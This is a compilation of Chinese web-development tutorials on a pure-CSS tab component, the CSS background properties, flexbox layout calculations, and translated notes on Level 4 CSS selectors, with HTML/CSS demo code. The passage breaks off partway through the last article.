作者：王刚

来源： 用纯CSS实现优雅的tab页



                    
说明


又是一个练手的小玩意儿，本身没什么技术含量，就是几个不常用的CSS3特性的结合而已。


要点



	Label标签的for属性

	单选框的:check伪类

	CSS的加号[+]选择器



效果图





原理


通常tab页的交互都是点击tab头然后展示对应的一块内容，这种排他性跟HTML里面的某个原住民很类似，是啥呢？没错！就是单选框组。


单选框组有一个:checked伪类，可以设定单选框被选中后的样式，所以我们要把一组单选框当做tab页的头部么？当然不是，单选框是很固执的，用CSS去感化他是很吃力的，那怎么办呢？


这里就要用到CSS里面的+选择器了[实际上这个选择器我之前从来没用过-_-||]，简单来说+选择器就是选择紧跟在某个指定元素后面的另一个指定的元素，具体介绍请看 http://www.w3school.com.cn/cssref/selector_element_plus.asp


Label的for属性是一个很有意思的东西，可以理解为一个遥控器：位于页面底部的一个label标签可以通过for属性来控制页面顶部的一个单选框或者复选框~，是不是很神奇？（噗→_→）


结合以上特点，可以得到一个实现tab页的基本思路：



  一个单选按钮后面跟一个lable[tab头]，再后面跟上一个div[tab内容块]

   用.radio:checked + .tab-header 指定当前tab头的样式

   用.radio:checked + .tab-header + .tab-content 指定当前tab内容块的样式




代码


<div class="container">
  <div class="tab-wrapper">
    <!--tab section 1-->
    <input type="radio" name="tab-radio" class="tab-radio" id="tab-radio-1" checked>
    <label for="tab-radio-1" class="tab-handler tab-handler-1">水浒传</label>
    <div class="tab-content tab-content-1">《水浒传》是中国历史上第一部用古白话文写成的歌颂农民起义的长篇章回体版块结构小说，以宋江领导的起义军为主要题材，通过一系列梁山英雄反抗压迫、英勇斗争的生动故事，暴露了北宋末年统治阶级的腐朽和残暴，揭露了当时尖锐对立的社会矛盾和“官逼民反”的残酷现实。按120回本计，前70回讲述各个好汉上梁山，后50回主要为宋江全伙受招安为朝廷效力，以及被奸臣所害。</div>
    <!--tab section 2-->
    <input type="radio" name="tab-radio" class="tab-radio" id="tab-radio-2">
    <label for="tab-radio-2" class="tab-handler tab-handler-2">三国演义</label>
    <div class="tab-content tab-content-2">《三国演义》是中国古典四大名著之一，全名为《三国志通俗演义》。作者是元末明初小说家罗贯中，是中国第一部长篇章回体历史演义小说。描写了从东汉末年到西晋初年之间近105年的历史风云。全书反映了三国时代的政治军事斗争，反映了三国时代各类社会矛盾的转化，并概括了这一时代的历史巨变，塑造了一批叱咤风云的三国英雄人物。</div>
    <!--tab section 3-->
    <input type="radio" name="tab-radio" class="tab-radio" id="tab-radio-3">
    <label for="tab-radio-3" class="tab-handler tab-handler-3">西游记</label>
    <div class="tab-content tab-content-3">《西游记》是中国古典四大名著之一，是由明代小说家吴承恩所创作的中国古代第一部浪漫主义的长篇神魔小说。主要描写了唐朝太宗贞观年间孙悟空、猪八戒、沙僧、白龙马四弟子保护唐僧西行取经，沿途历经九九八十一难，一路降妖伏魔，化险为夷，最后到达西天，取得真经的故事。取材于《大唐三藏取经诗话》和汉族民间传说。 [1] </div>
    <!--tab section 4-->
    <input type="radio" name="tab-radio" class="tab-radio" id="tab-radio-4">
    <label for="tab-radio-4" class="tab-handler tab-handler-4">红楼梦</label>
    <div class="tab-content tab-content-4">《红楼梦》，中国古典四大名著之首，清代作家曹雪芹创作的章回体长篇小说[1] 。早期仅有前八十回抄本流传，八十回后部分未完成且原稿佚失。原名《脂砚斋重评石头记》。程伟元邀请高鹗协同整理出版百二十回全本[2] ，定名《红楼梦》。亦有版本作《金玉缘》。</div>
  </div>
</div>



HTML部分如上，四个区块，四大名著，嘎嘎


html,body{
  height: 100%;
  margin: 0;
  padding: 0;
  background-color: #58596b;
}
.container{
  width: 800px;
  height: 400px;
  margin: 100px auto;
  background-color: #fff;
  box-shadow: 0 1px 3px rgba(0,0,0,.1);
}
.tab-wrapper{
  position: relative;
  width: 800px;
  height: 60px;
  background-color: #33344a;
}
.tab-wrapper .tab-radio{
  display: none;
}
.tab-handler{
  position: relative;
  z-index: 2;
  display: block;
  float: left;
  height: 60px;
  padding: 0 40px;
  color: #717181;
  font-size: 16px;
  line-height: 60px;
  transition: .3s;
  transform: scale(.9);
}
.tab-radio:checked + .tab-handler{
  color: #fff;
  background-color: #e74c3c;
  transform: scale(1);
}
.tab-radio:checked + .tab-handler + .tab-content{
  visibility: visible;
  opacity: 1;
  transform: scale(1);
}
.tab-wrapper .tab-content{
  visibility: hidden;
  position: absolute;
  top: 60px;
  left: 0;
  width: 740px;
  padding: 30px;
  color: #999;
  font-size: 14px;
  line-height: 1.618em;
  background-color: #fff;
  opacity: 0;
  transition: transform .5s, opacity .7s;
  transform: translateY(20px);
}



CSS代码如上，写的很烂，轻喷~

 用visibility+opacity来控制元素的显示和隐藏，实际上是为了实现动画效果（此处有装逼的嫌疑），因为display会阻碍transition，而visibility不会，另外也可以用pointer-events+opacity来代替。




代码就上面那些了，另附jsbin地址：http://output.jsbin.com/cicadu/4

在新版opera/chrome/firefox测试完美，safari上面有严重问题，貌似切换了tab之后，tab内容块的样式已经应用了然而却没有生效，目测页面没有重绘？在开发者工具里面将其focus一下才生效，具体原因未知，有哪位大神知道的请不吝赐教。


 回味background

作者：林小志

来源： 回味background



                    
background是在CSS中使用率很高的一个属性之一，由最初的几个简单的属性到现在新增了很多的属性，比如background-size、background-origin以及background-clip等属性，还可以设置多背景来达到更多的炫酷效果。



  以下要谈的东西请不要在IE6中查看，只是在一些版本比较新的浏览器中玩耍娱乐，虽然有些代码在IE6中也是有效的。




background的各个属性


其实background是一个复合属性，这个大家都知道，因为这个属性中包含了很多属性，比如：



	background-color

	background-image

	background-position

	background-attachment

	background-repeat




  应该没有遗漏吧……基本上都是直接写background属性，单独分开写总是令我自己提心吊胆的，感觉好像遗漏了什么。




然后随着CSS3这个强大的东西到来之后，又新增了几个属性：



	background-size

	background-origin

	background-clip



这里没有多背景的属性（Multiple Background Images），因为多背景的属性其实就是用一个半角的逗号,隔开而已。


background-color


这个属性大家都知道，写CSS肯定都知道，不知道的话，我觉得就肯定没写过CSS了。不知道我这样说大家认同不认同，我觉得挺对的。对于background-color这个属性，用起来很简单，跟多背景图没有任何关系，仅仅只要知道颜色值在CSS中是怎么表示的就可以了，比如十六进制的方式#F32600、或者用RGB的方式rgb(200,200,125)，当然还有hsl之类的方式，反正只要知道，那肯定就能得到这样一个背景色的写法：


background-color: #F32600;


好吧，废话扯了一堆，其实我想说的是，这个background-color的显示区域是跟background-clip有关的，请看图：





demo: http://jsbin.com/fiyazayuho/2/


div {float: left;width: 200px;height: 60px;border: 5px dashed #f00;margin:0 20px 20px 0;padding:30px;background-color: #ff0;}
div + div {background-clip: border-box;}
div + div + div {background-clip: padding-box;}
div + div + div + div {background-clip: content-box;}



background-image


背景色看过了，那么就是看看背景图片的引用，只要在background-image中，添加url地址就可以，比如：background-image: url()，这个括号里的地址可以是相对路径也可以是绝对路径，反正只要是有效路径就可以，但建议不要用中文/全角字符，如果有空格的话，那么就建议个路径加上引号，当然如果没有这些特殊的命名方式，或许就更好了。


就目前为止，background-image还没有到好玩的地步，只要知道background-image会盖在background-color上面，然后如果在url()后面写半角英文逗号的话，就可以玩多背景图了，比如：background-image: url(name1.jpg), url(name2.png), url(name3.gif);。


效果就好像这样：





然后如果我们简单玩一下多背景图片的话，那就是这样了：





demo: http://jsbin.com/lusuce/1/


div {width: 100px;height: 50px;padding: 50px;
    background-color:#ccc;
    background-image:url(http://sfault-avatar.b0.upaiyun.com/166/281/166281916-1140000000145114_big64);
    background-repeat: no-repeat;
}

div ~ div {
    background-image: url(http://sfault-avatar.b0.upaiyun.com/604/519/6045191-1140000000383699_big64), url(http://sfault-avatar.b0.upaiyun.com/166/281/166281916-1140000000145114_big64), url(http://sfault-avatar.b0.upaiyun.com/393/562/3935623170-1140000000142909_big64), url(http://sfault-avatar.b0.upaiyun.com/287/570/2875704635-1140000000145753_big64);
    background-position:top left, top right, bottom left, bottom right;
}



background-position


背景定位这个东西写CSS的朋友肯定都知道怎么用，不然就玩不了CSS Sprite，不过大家一般用的时候，属性值都是top、left、center、bottom等组合，或者要么就是百分值和px值这几种，对于这几种大家都已经很属性了，也没什么好说的，都是相对于容器的左上角来计算的。


不过这里需要提一点的就是，background-position的位置是跟background-origin相关的，并且如果设置了background-clip的话，那么效果又不一样了，感觉上这几个的关联性还不小哦。具体的效果等一下我们看了background-origin和background-clip的属性值之后，就会明白了。


background-origin


background-origin的作用是用于处理背景定位的原点坐标位置，共有三个属性值：



	border-box

	padding-box

	content-box



这三个属性值，如果了解盒模型的同学肯定就明白了，分别就是针对边框、内边距、内容区域三个部分的左上角为坐标。借用w3c官网上的一张图片来简单温习一下盒模型。





从这个盒模型中可以看到，如果我们对一个容器设置了边框或者内边距的时候，那么背景的原点位置肯定就是会受到影响了。那么我们结合前面的background-position来做一个简单的效果：





demo: http://jsbin.com/hitoji/1/


div {width: 50px;height: 50px;border: 10px dashed #f00;padding:20px;
    background-image: url(http://sfault-avatar.b0.upaiyun.com/196/388/1963885910-54af96065b546_big64);
    background-repeat: no-repeat;
    background-origin: border-box;
}
div ~ div {background-origin: padding-box;}
div ~ div ~ div {background-origin: content-box;}



从这里可以看到三个值的改变之后，效果背景图片的所在位置就完全不一样了，不过在背景中还有一个新增的属性，再加上去后，会发现更不一样的效果。


background-clip


背景修剪的位置，这个也是根据background-origin属性值来改变效果的，那么我们基于上面的那个demo，再增加点东西看看效果。这里要提一下的是，background-clip的属性值跟background-origin是一样的，都是：



	border-box

	padding-box

	content-box






background-attachment


这个属性基本上来说，现在大家似乎都不会去关注，个人感觉好像是这样的。不过不管是不是这样，反正我知道我个人真的没去关注过，而且经常会搞不灵清background-attachment的属性值区别。基本上的作用就是定义一张不重复的图片随着内容区域的滚动而滚动，好吧，我感觉自己又把概念混乱了。


先看这个属性有三个属性值：



	fixed

	local

	scroll



然后从分别看他们的区别吧，这样应该就能让我自己清楚了，或许也能让你们在看这里的时候也清楚了。


body {height: 1000px;}
div {width: 300px;height: 300px;border: 1px solid #f00;
    background-image:url(http://sfault-avatar.b0.upaiyun.com/286/347/2863479281-1030000000341132_huge256);
    background-repeat: no-repeat;
    background-attachment: scroll; /* 会在这里改变属性值 */
}



首先是默认的属性值scroll：





那么这个时候，我们把scroll的值修改为fixed后再看看效果：





很明显看到了对比，好吧，这个时候我自己也清楚了这两个属性的区别了，不过这两个属性值现在是在div标签里的，如果放在body标签里又会怎么样呢，我想效果应该也是会有区别的，有兴趣想试试的可以尝试一下。


那么现在来看第三个新的属性值：local这玩意，看这个的话，我们就在body标签里也增加一个背景图片，做一个对比看看效果。


http://jsbin.com/cenipe/1/


不知道看的效果是不是这样呢？





background-repeat


background-repeat这个也是大家最常用的一个背景属性了，对于这个属性，我们一般也就是用到repeat、no-repeat、repeat-x和repeat-y这么四种，对于这四种，其实大家也都是很好理解的，无非就是各个方向都重复、都不重复、X轴重复和Y轴重复，然后结合盒模型的原理，就可以猜想到是从容器的原点位置，以X轴或者Y轴进行重复平铺背景图片，如果一张图片在容器中没有完全显示的话。


其实吧，就算背景图片的宽高比容器的宽高要大，我觉得背景图片一样还是在平铺着的，只是超出了容器的范围，看不到了而已。


对于这四个属性都是常用的，大家都知道，也没啥说的，不过，新增的两个属性不知道各位知道不，我觉得挺好玩的，分别是：



	space

	round



这两个属性使用起来，背景图片就灵活很多了。


background-repeat: space;


根据背景图片的大小，然后通过计算容器的大小来平铺背景，多余的部分用空白来填充，这样的平铺方式是不会出现图片被截成一半的情况，如图：





具体的效果，大家可以看看这个demo：http://jsbin.com/wigaxi/1/


background-repeat: round;


根据背景图片的大小，然后通过计算容器的大小，压缩图片来填充容器，这样的平铺方式也是不会出现图片截成一半的情况，不过跟background-repeat: space;不同的是这种填充方式不会出现空白的区域，而是会去压缩图片的大小来适应容器，如图：





具体的效果，大家还是可以直接看看demo效果：http://jsbin.com/wefuwa/1/


影响background-repeat的属性


影响background-repeat的属性无非也就是background-origin这个属性了，这个属性直接改变了背景在一个容器中的计算显示方式，就跟box-sizing一样，直接影响到了盒模型的表现方式，具体的也就不做demo了，有兴趣的可以增加这个属性尝试一下，会发现原来不会出现被截断的背景图片，似乎出现了截断的显示效果了。





background-size


刚在前面提到了box-sizing属性，那么在背景中也有一个size相关的属性，就是background-size，但这个并不是去改变盒模型的属性，而是让背景图片按照一定的比列去适应容器的一个属性。简单来说，这个属性就是会拉伸、缩小背景图片大小的，将以往不能改变背景图片大小的惯例打破了。


先来看一个示例：





在这个示例中我们可以看到，当没有background-size的时候，一张背景图片是很老实得呆在左上角，并且是保持着原来的大小，当然，有了这个属性，它还是呆在左上角，不同的是，这张背景图片的尺寸改变了：



	100%： 一个值的时候，其实就是把宽高都拉伸到相对于容器的宽度，简单来说，撑满了；

	50%： 这个当然就是宽高都只有容器的一半（50%）的时候；

	100% 50%： 这个呢就是宽度相对容器是100%的，而高度是50%；



从上面三个情况来看，大家应该已经很清楚的明白了background-size的值是针对容器的，并且是先宽度再高度。


那么我们现在用的是%这个百分比的相对单位，其实我们也是可以用px来表示啊，或者是em，当然也可以是现在很多人喜欢用的rem作为单位值来使用。


如果不想用这些单位来计算的话，那么其实还有一个方式，就是用下面这三种值：



	auto

	contain

	cover



这三种属性值中auto没什么说的，大家都懂，该是怎么样的就是怎么样，不同的是后面两种，会去强制将背景图片做一些改变。


background-size: contain;


等比缩放，以最大的尺寸填充到容器中，但不一定会撑满容器，而出现背景图片显示不全的情况：





background-size: cover;


等比缩放，以最小的尺寸填充到容器中，一定会撑满容器，且可能会出现背景图片显示不全的情况：





想想background也真神奇


一个简单的background属性，现在折腾出来的效果也真的是多啊，如果把各种属性结合在一起，估计出现什么效果有时候自己都想象不到，尤其是新增的几个属性，特别是background-origin和background-size，改变了曾经对background的一些看法。


然后结合多背景图片的话，那将又是一个神奇的世界，关于多背景和background的缩写，也没什么好说的了，一笔带过吧。


多背景图片


用英文半角逗号隔开，如果要用简写模式的话，那么就先写完一个background简写属性后，再用,半角逗号隔开，继续写，如：


background: url(a.png) top left no-repeat,
            url(b.png) center / 100% 100% no-repeat,
            url(c.png) white;



background 简写模式


以前没有那么多新增属性的时候，简写就是：


background: url(a.png) top left no-repeat fixed #000;



现在有了之后，就稍微改变了一下，不过也相差不多：


background: url(a.png) top left / cover no-repeat fixed content-box content-box #000



格式就是：


 <bg-image> || <position> [ / <bg-size> ]? || <repeat-style> || <attachment> || <box> || <box> || <'background-color'>  



最后想说


background的规则是这样，但是最终如果多个属性结合在一起，真不知道会变成什么样。看着是一个个很简单的属性，但是多个在一起，或许会让背景更漂亮，或许也会让你的背景变得很难看……


 flexbox：更加优雅的Web布局

作者：卢小健

来源： flexbox：更加优雅的Web布局



                    



flexbox layout是W3C为了更好的在网页中排版和布局而设计出来的一个模块。它用来可以处理更加复杂的布局。它本质是盒模型的延伸，它可以进一步去规范容器中子元素盒模型之间的相对关系。


基础知识点





flexbox盒子按照宽和高分出了main axis(主轴)和cross axis(和主轴交叉的轴)，盒子的上边称为cross  start,下边称为cross end,左边称为main start,右边称为main end。



flexbox可以解决什么问题


完全置中


在前端中实现置中是一件很头疼的事情，尤其是实现垂直置中，之前在一个老外的博客上看到一篇实现置中的七种方法，其中提到一种最简单的方法就是使用transform，需要5行代码可以实现完全置中。


下面看一下flexbox实现置中:


css    .flex-container{
        display:flex;
        justify-content: center;
        align-items: center;
    }



flexbox只要3行代码就可以实现置中。


等高的卡片式布局


在没有用flexbox之前很多卡片设计的网站都有这样一个问题，由于卡片里面的内容多少不同，而产生的不等高问题。


flexbox简单的实现等高列：


css    .flex-container{
        display:flex;
        align-items: stretch;
    }




flexbox能用在哪里


兼容性




可以看出flexbox从提出到现在也已经有了8个草案。flexbox更新了三种写法。





caniuse上各个浏览器支持的情况




稍微整理一下(这里借用gitcafe的JaychSu的图用一下)

从这里可以看出现代浏览器都支持最新的那个版本,只有IE10支持中间那个版本。



使用css预处理器定义的@mixin解决flexbox版本兼容


在github上有大神把flexbox三个版本搞成一个sass的@mixin,这样可以在需要的地方直接@include进来就可以轻松解决三个版本的兼容问题。
sass关于flexbox的mixin的github项目地址



flexbox实现的原理逻辑


1. display（定义容器里面为flex文档流）



	
dislpay:flex使父容器表现为块盒子

	
display:inline-flex使容器表现为行盒子



2. flex


flex是flex-grow,flex-shrink,flex-basis的缩写形式。默认值是0 1 auto。


3. flex-basis


flex-basis:flex-basis可以理解为我们给子元素设置的宽度。默认值是auto,宽度设置为auto时，盒子的宽度取决你们元素的宽度。





4. flex-grow和flex-shrink


grow和shrink是一对双胞胎，grow表示伸张因子，shrink表示是收缩因子。


grow在flex容器下的子元素的宽度和比容器和小的时候起作用。 grow定义了子元素的宽度增长因子，容器中除去子元素之和剩下的宽度会按照各个子元素的gorw值进行平分加大各个子元素上。


公式：



	
计算容器还剩空间


available_space(容器还剩的空间）=container_size(容器宽度)-flex_item_total(子元素宽度之和)




	
计算增长单位


grow_unit(增长单位)=available_space/flex_grow_total(子元素增长因子之和)




	
得到子元素的宽度


flex-item-width(子元素计算得到的宽度)=flex-basis+grow-unit*flex-grow   









上面例子的计算


container-size=480px;  flex-item-total=100*3=300px;flex-grow-total=3+2+1=6

available_space=480-300=180px;  

grow_unit=180/6=30px;  



子元素1的宽度为：


flex_item_width1=100+3*30=190px;



子元素2的宽度为：


flex_item_width1=100+2*30=160px; 



子元素3的宽度为：


flex_item_width1=100+30=130px;    




Codepen实例
shrink则是在宽度和比容器宽度大时候，才有用。按照shrink的值减去相应大小得到子元素的值。


公式：


overflow_space(溢出的宽度)



	
计算溢出的宽度


overflow-space=flex-item-total(子元素basis宽度之和)-container_width(容器宽度)  




	
得到计算的子元素的宽度


item-basis:子元素设置的flex-basis；item-shrink:子元素的flex-shrink；item-shrink-sum:所有子元素flex_shrink的和。     

flex_item_width(计算的子元素的宽度)=item-basis --(overflow-space*(item-shrink/item-shrink-sum))  









container-width=480px; item-shrink分别为3，2，1.item-basis=200px;  overflow-space=120px;  



则：


flex_item1_width=200-(120*(3/6))=140px;

flex_item2_width=200-(120*(2/6))=160px; 

flex_item3_width=200-(120*(1/6))=180px;  






codepen实例查看


5. align-content



  对单行和单列不起作用，多行时才有效，需设置flex-direction:row;flex-wrap:wrap;或者flex-flow:row-wrap,对flex container中的行进行布局排版。





	flex-start:行填充到容器的开始。

	flex-bottom:行填充到容器的结束。

	center:行居中分布

	space-between:行平均分布，第一行在容器开始，最后一行在容器结束。

	space-around:行平均分布，但行与行之间有空隙。  



实例截图





codepen实例查看


6. align-items



  用于当前行中的子元素进行对齐布局。





	flex-start: 子元素的上边缘对齐到行的上边缘。

	flex-end: 子元素的上边缘对齐到行的下边缘。

	center: 以中轴线居中。

	baseline: 子元素的基线对齐。

	stretch:子元素拉伸至充满容器。  



实例截图



codepen实例查看


7. align-self



  应用在子元素上，可以覆盖align-item来获得特殊的元素对齐。





	flex-start: 子元素的上边缘对齐到行的上边缘。

	flex-end: 子元素的上边缘对齐到行的下边缘。

	center: 以中轴线居中。

	baseline: 子元素的基线对齐。

	stretch:子元素拉伸至充满容器。  



实例截图





codepen实例查看


一个利用align-self来改变默认align-items排版的例子





codepen实例查看


8. justify-content



  水平方向上布局排版





	flex-start:子元素靠容器的左边线对齐

	flex-end:子元素靠容器的右边线对齐

	center: 子元素居中

	space-between: 子元素被平均分布,第一子元素在容器最左边，最后一个子元素在最右边。

	space-around: 子元素平均分布，但子元素与子元素之间有空隙。



实例截图





codepen实例查看


9. order



  用来改变子元素之间的排列循序，默认值是0，值越小，越往前排。








flexbox解决的一些问题。



	优雅的实现响应式布局。 






codepen实例查看

* 最简洁的实现媒体对象效果。（不需要浮动和创建BFC哦！）





codepen实例查看


关于flexbox的一些文章



	
Solved by Flexbox  

	
A Complete Guide to Flexbox  

	Flexbox adventures



原文：http://luxiaojian.me/2015/03/22/flexboxgeng-jia-you-ya-de-webbu-ju/


 【译】下一代选择器：CSS4

作者：不写代码的码农

来源： 【译】下一代选择器：CSS4



                    
2014年1月，我写了一篇文章：The Current Generation of CSS3 Selectors，这篇文章的目的是介绍一些CSS3中新增的选择器。文中的选择器已经有了很多文档，并且也被大多数浏览器支持（包括IE9+）。


由于Selectors Level 4 specification 目前已是工作草案状态，并且Editor’s Draft of the same spec也在进行中(编辑草案通常被视为更有权威)，未来的CSS选择器看起来很明朗了，


这篇文章重点介绍没有在之前那篇文章中出现的新选择器。浏览器对这些新特性的支持并不乐观，所以我不建议在生产环境中使用这些新选择器。可以把这篇文章视为当规范进一步完善并且浏览器开始支持CSS4的时候，它会带来什么影响。对于已经被支持的特性，我例举了demo。


:read-only 和 :read-write


这两个选择器是很简单的。任何可编辑的元素都是read-write状态，反之，元素则是read-only状态。看一下下面HTML:


<input type="text" readonly>
<input type="text" disabled>
<input type="text">
<div contenteditable></div>



CSS如下：


:read-only {
  outline: solid 1px blue;
}

:read-write {
  outline: solid 1px red;
}



对上述代码的分析如下：



	开始的两个元素有蓝色的外轮廓，因为在HTML中，它们分别设置了readonly和disabled。

	第三个元素有红色的外轮廓，因为它是自然的可编辑状态(read-write)，textarea和所有的input元素的默认行为是一样的。

	最后一个元素(div)有红色的外轮廓，因为设置了contenteditable属性。



在CSS中，我很普通的使用了这两个选择器(没有将它们应用到任何元素)，这也意味着所有的div、span和其它不可编辑元素会有红色的外轮廓，更像被用在特定的表单元素或有特定类选择器的元素。


:read-write可能会在编辑草案中被移除。


浏览器对:read-only 和 :read-write的支持：Chrome, Opera, Firefox, Safari.


注意：正如下面的demo显示，支持这些选择器的浏览器将设置了disabled的input元素定义为read-write，然而根据规范，这是不正确的。


HTML:




<div class="c">
  <h2>Demo for <code>:read-only</code> and <code>:read-write</code></h2>
  This input is "readonly":
  <input type="text" readonly>
  <br> This input is "disabled":
  <input type="text" disabled>
  <br> This input is normal:
  <input type="text">
  <br>

  <div class="ce" contenteditable>This div is contenteditable</div>
  
  <div class="ro">This div has nothing special.</div>
  
  <p><strong>Legend:</strong> Red outline: read-write; Blue outline: read-only</p>
  
  <p class="p">Demo by Louis Lazaris. <a href="http://www.sitepoint.com/future-generation-css-selectors-level-4" target="_blank">See article</a>.</p>
  
</div>





CSS:


body {
  line-height: 2em;
}

.c {
  width: 600px;
  margin: auto;
}

.p {
  text-align: center;
  font-size: .9em;
  padding-top: 100px;
}

input:read-write, .ce:read-write, .ro:read-write {
  outline: solid 1px red;
}

input:read-only, .ce:read-only, .ro:read-only {
  outline: solid 1px blue;
}



View this code on codepen


默认选项伪类: :default


:default 伪类会匹配那些在一组相关的集合中作为默认选项的元素。例如，一个表单的默认提交按钮或一组单选按钮中被默认选中的按钮。


如下面的HTML片段显示的那样，可以有多个默认选项：


<input type="checkbox" value ="f" name="group" checked> Fruits
<input type="checkbox" value ="v" name="group"> Vegetables
<input type="checkbox" value ="m" name="group" checked> Meats
<input type="checkbox" value ="p" name="group" checked> Poultry
<input type="checkbox" value ="n" name="group"> Nuts
<input type="checkbox" value ="b" name="group"> Breads



将下面的CSS应用到上面的HTML：


input[type=checkbox]:default {
  outline: solid 1px hotpink;
}



在这个案例中，所有有checked属性的元素将呈现一个外轮廓的样式。


浏览器对:default的支持：Chrome, Opera, Firefox, Safari.


在这个demo中，尽管默认选中的复选框应该有一个外轮廓，但是WebKit/Blink浏览器不会为默认选中的复选框应用轮廓，这看起来是一个Bug。Firefox能正确呈现。


HTML:




<div class="c">
  <h2>Demo for <code>:default</code></h2>

  <input type="checkbox" value="f" name="group"> Fruits
  <input type="checkbox" value="v" name="group"> Vegetables
  <input type="checkbox" value="m" name="group" checked> Meats
  <input type="checkbox" value="p" name="group" checked> Poultry
  <input type="checkbox" value="n" name="group"> Nuts
  <input type="checkbox" value="b" name="group"> Breads

  <form onsubmit="return false;">
    <input type="submit">
    <input type="submit">
  </form>
  
  <p>The items with a pink outline are in the "default" state. Chrome and Opera incorrectly fail to add the pink outline to the checkboxes.</p>
  
  <p class="p">Demo by Louis Lazaris. <a href="http://www.sitepoint.com/future-generation-css-selectors-level-4" target="_blank">See article</a>.</p>

</div>





CSS:


body {
  line-height: 2em;
}

.c {
  width: 500px;
  margin: auto;
}

.p {
  text-align: center;
  font-size: .9em;
  padding-top: 100px;
}

input[type=checkbox]:default {
  outline: solid 1px hotpink;
}

input:default {
  outline: solid 1px hotpink;
}



View this code in codepen


有效性伪类： :valid 和 :invalid


这两个伪类在HTML表单中是非常有用的，它能给予用户在输入数据时视觉上的有效性，而这些本应该有JavaScript完成的。


看一个示例：


Email: <input type="email" required>



注意，这个字段期待被输入的数据时有效的邮件地址，可以这样做：


input[type=email]:invalid {
  outline: red solid 1px;
}

input[type=email]:valid {
  outline: lightgreen solid 1px;
}



根据上面的CSS，用户没有输入之前，email字段将有红色的外轮廓，一旦用户输入合法的电子邮件，外轮廓会变成绿色。


用这些伪类可以很容易的在表单元素之前添加一个绿标记的伪元素（或其它类似的）来显示有效的字段数据。


需要注意的是：



	有趣的是，有效性检测也能应用到form元素自身，来表明所有字段数据是有效的。

	对div、p等普通元素不起作用，因为这些元素没有什么方法来指定预期的数据格式。

	普通且没有要求特定数据格式的<input type="text">，默认是有效的，但如果设置了require属性却没有数据则是无效的。



浏览器对 :valid 和 :invalid支持：Chrome, Opera, Firefox, Safari, IE10+.


HTML:




<div class="c">
  <h2>Demo for <code>:valid</code> and <code>:invalid</code></h2>

  Email: <input type="email" required>
  
  <p>Type an email address. The outline will change from red to green.</p>
  
  <p class="p">Demo by Louis Lazaris. <a href="http://www.sitepoint.com/future-generation-css-selectors-level-4" target="_blank">See article</a>.</p>

</div>





CSS:


body {
  line-height: 2em;
}

.c {
  width: 500px;
  margin: auto;
}

.p {
  text-align: center;
  font-size: .9em;
  padding-top: 100px;
}

input[type=email]:invalid {
  outline: red solid 2px;
}

input[type=email]:valid {
  outline: lightgreen solid 2px;
}



View this code on codepen


范围伪类： :in-range 和 :out-of-range


这两个伪类对于那些要求数据介于一个指定范围的表单元素是非常有用的。你可以根据元素数据是否在指定范围之内来设计输入框样式。


因而HTML应该像这样子的：


<input type="date"
       min="1994-01-01" max="2015-03-01"
       value="1993-01-01">



注意默认值是"1993-01-01"，不在数据允许的范围之内。你可以根据默认数据和输入的数据来动态地设计输入框样式，像这样：


input[type=date]:in-range {
  outline: lightgreen solid 1px;
}

input[type=date]:out-of-range {
  outline: red solid 1px;
}



需要注意的是：



	能应用于number, datetime, datetime-local, month, week及其它允许范围的输入

	支持range，但我不认为有一种方法能使range元素的数据超出范围，这种情况下，使用这两个伪类的作用是非常有限的。

	和其它伪类一样，此伪类仅作用在有能力定义可接受的数据范围的元素



浏览器对 :in-range 和 :out-of-range支持：Chrome, Opera, Firefox, Safari.


HTML:




<div class="c">
  <h2>Demo for <code>:in-range</code> and <code>:out-of-range</code></h2>

  <input type="date" min="1994-01-01" max="2015-03-01" value="1993-01-01">

  <p>This date field expects a date between "1994-01-01" and "2015-03-01". Change to a valid date to see the outline switch from red to green.</p>

  <p class="p">Demo by Louis Lazaris. <a href="http://www.sitepoint.com/future-generation-css-selectors-level-4" target="_blank">See article</a>.</p>

</div>





CSS:


body {
  line-height: 2em;
}

.c {
  width: 500px;
  margin: auto;
}

.p {
  text-align: center;
  font-size: .9em;
  padding-top: 100px;
}

input[type=date]:in-range {
  outline: lightgreen solid 1px;
}

input[type=date]:out-of-range {
  outline: red solid 1px;
}



View this code on codepen


可选择性伪类： :required 和 :optional


这两个伪类能让你基于表单字段是否需要填写来设计表单元素的样式。拿下面的HTML为例：


<div>
  <label for="name">name:</label>
  <input type="text" id="name" required>
  <span class="msg"></span>
</div>
<div>
  <label for="email">Email:</label>
  <input type="email" id="email" required>
  <span class="msg"></span>
</div>
<div>
  <label for="address">Address:</label>
  <input type="text" id="address">
  <span class="msg"></span>
</div>



每个input后面添加了一个空的span元素，同时前面两个input元素是比填的，第三个是非必填的。CSS如下：


input:required ~ .msg:after {
  content: '*';
  color: red;
}

input:optional ~ .msg:after {
  content: '(optional)';
}



在这个示例中，我用兄弟选择器在紧跟每个必填字段的后面添加一个红色星号，非必填字段后添加 “optional”。


示例中使用了我额外添加的元素。如果你不喜欢，可以使用JavaScript动态添加或直接在input元素上使用其他样式，但是不能对表单的input元素使用伪类了，因而这种情况下你必须应用不同的样式。


浏览器对 :required 和 :optional的支持：所有浏览器.


HTML:




<div class="c">
  <h2>Demo for <code>:required</code> and <code>:optional</code></h2>

  <div>
    <label for="name">Name:</label>
    <input type="text" id="name" required>
    <span class="msg"></span>
  </div>
  <div>
    <label for="email">Email:</label>
    <input type="email" id="email" required>
    <span class="msg"></span>
  </div>
  <div>
    <label for="address">Address:</label>
    <input type="text" id="address">
    <span class="msg"></span>
  </div>

  <p>The red asterisks and "(optional)" text are added via CSS, based on the presence or absence of the <code>required</code> attribute.</p>

  <p class="p">Demo by Louis Lazaris. <a href="http://www.sitepoint.com/future-generation-css-selectors-level-4" target="_blank">See article</a>.</p>

</div>





CSS:


body {
  line-height: 2em;
}

.c {
  width: 500px;
  margin: auto;
}

.p {
  text-align: center;
  font-size: .9em;
  padding-top: 100px;
}

form div {
  padding: 10px;
}

input:required ~ .msg:after {
  content: '*';
  color: red;
}

input:optional ~ .msg:after {
  content: '(optional)';
}



View this code on codepen


不区分大小写的属性选择器： i


在CSS中，默认对属性的大小写是敏感的。例如，要选择所有href属性的值以pdf结尾的元素，就不会选中其属性值以PDF结尾的。有一个很有用的新标记可以被添加到属性选择器中来覆盖这种行为：


a[href$="pdf" i] {
  color: red;
}



现在属性选择器将选择所有href链接到PDF文件的元素，不管.pdf扩展名是小写、大写还是混合写的。


浏览器对 i 的支持：Opera.


HTML:




<div class="c">
  <h2>Demo for case-insensitive attribute selectors</h2>

  <ul>
    <li><a href="example.pdf" onclick="return false;">example.pdf</a></li>
